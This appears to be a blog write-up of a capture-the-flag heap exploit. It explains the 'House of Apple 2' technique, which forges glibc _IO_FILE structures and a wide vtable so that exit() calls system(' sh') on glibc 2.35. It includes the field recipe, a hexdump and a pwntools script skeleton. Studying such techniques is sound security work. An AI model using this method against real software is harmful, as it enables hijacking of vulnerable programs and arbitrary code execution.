algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

House of Apple 2 — FSOP after the hooks died

2026-06-154 min readheap pwn glibc fsop

For years the endgame of a glibc heap exploit was the same: get an arbitrary write, set __free_hook = system, free a chunk holding "/bin/sh". Then glibc 2.34 removed the hooks__free_hook, __malloc_hook, __realloc_hook, all gone. A decade of muscle memory stopped working overnight.

The replacement is FSOP — File Stream Oriented Programming — forging the _IO_FILE structures glibc walks on exit. This is where the House of Orange was always pointing; House of Apple 2 is the version that still works on a modern libc.

target./apple
arch
amd64-64-little
libc
2.35 (>= 2.34, hooks removed)
technique
forge _IO_FILE -> _IO_wfile_jumps -> unchecked _wide_vtable -> system
needs
one arbitrary write (or a controlled FILE) + a libc leak

why you can't just fake a vtable#

On exit(), glibc flushes every open stream. The walk is fixed and reachable:

the trigger pathtxt
1
2
3
4
5
6
7
exit()
└ __run_exit_handlers
  └ _IO_cleanup
    └ _IO_flush_all_lockp
      └ for fp in _IO_list_all (chained by fp->_chain):
          if fp->_IO_write_ptr > fp->_IO_write_base:     # "has data to flush"
            _IO_OVERFLOW(fp, EOF)                         # fp->vtable->__overflow(fp, EOF)

The naive attack — point fp->vtable at a table you control — has been dead since 2.24. _IO_OVERFLOW runs _IO_vtable_check, which aborts unless the vtable pointer lies inside the read-only __libc_IO_vtables section. A fake table on the heap fails instantly:

txt
Fatal error: glibc detected an invalid stdio handle

the trick: a legit vtable that derefs an unchecked one#

You can only point vtable at a real table in __libc_IO_vtables. So pick one whose code does your dirty work for you: _IO_wfile_jumps. It's legitimate, so the check passes — but its __overflow slot is _IO_wfile_overflow, which operates on the FILE's wide half and calls through a second vtable that glibc never validates:

inside the legit pathtxt
1
2
3
4
5
_IO_wfile_overflow(fp, c)
└ if !(fp->_flags & _IO_NO_WRITES) and the wide buffer is unset:
    _IO_wdoallocbuf(fp)
    └ _IO_WDOALLOCATE(fp)
        = fp->_wide_data->_wide_vtable->__doallocate(fp)   # <- not vtable-checked

fp->_wide_data and its _wide_vtable are just pointers in the FILE struct — both attacker-controlled. Point _wide_vtable->__doallocate at system, and since the call passes fp as the argument, arrange the start of fp to be a shell string. One catch from the source: _flags is offset 0, and _IO_wfile_overflow bails if _flags & _IO_NO_WRITES (0x8). The classic dodge is to lead the command with spaces — system(" sh") runs fine and the low byte avoids the forbidden bit.

the forged FILE#

Schematic — exact offsets shift per libc version, so resolve them against your target's struct, don't hardcode mine:

fake _IO_FILE (the fields that matter)hex
00000000  20 20 20 20 73 68 00 00  00 00 00 00 00 00 00 00  |    sh..........|
00000010  fa 0e 01 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  00 00 ee ba                                       |....            |

The fields you must set, by name:

  • _flags → a shell string whose first byte isn't caught by _IO_NO_WRITES (" sh" / " /bin/sh" style);
  • _IO_write_ptr > _IO_write_base → so the flush loop decides this stream has data and calls _IO_OVERFLOW at all;
  • vtable&_IO_wfile_jumps (real → passes _IO_vtable_check);
  • _wide_data → a controlled address W;
  • W->_IO_buf_base = 0 (and write base unset) → forces _IO_wdoallocbuf down the _IO_WDOALLOCATE branch;
  • W->_wide_vtable → a controlled address V, with V->__doallocate = &system.

Then fire the walk. Either overwrite _IO_list_all to point at your fake FILE (House of Orange style), or corrupt an existing stream's vtable/_wide_data in place, and let exit() — or any abort/__malloc_assert path, which also flush — do the call:

apple.pypython
from pwn import *
libc = ELF("./libc.so.6")
base = leak_libc()                       # FSOP needs a libc leak for system + vtables

fp  = build_fake_file(
    flags       = b"  sh\x00\x00\x00\x00",
    vtable      = base + libc.sym["_IO_wfile_jumps"],
    wide_data   = W,                     # W->_wide_vtable = V ; V->__doallocate = system
)
write_where(libc_io_list_all, addr_of(fp))   # arbitrary write -> _IO_list_all = &fp
trigger_exit()                               # _IO_flush_all -> system("  sh")
the shell

_IO_flush_all walks to your FILE, _IO_wfile_overflow dereferences the wide vtable you own, and calls system with a pointer to the command at the head of the struct:

txt
segfault{th3_h00ks_ar3_d34d_l0ng_l1v3_FSOP}

why this one stuck#

  • it needs only a single arbitrary write (to _IO_list_all, or to one field of a live FILE) plus a libc leak — no hooks, no specific allocator state;
  • it survives the vtable check by never pointing vtable anywhere illegal — the second vtable does the work, and nobody validates that one;
  • the trigger is exit(), which almost every program reaches, and the abort/assert paths flush too, so even a crash can fire it.

The hooks are gone for good, but the FILE struct is a forest of function pointers glibc walks on the way out. House of Apple 2 is the cleanest path through it — and the reason "arbitrary write + libc leak" is still, on a 2.35 libc, usually game over.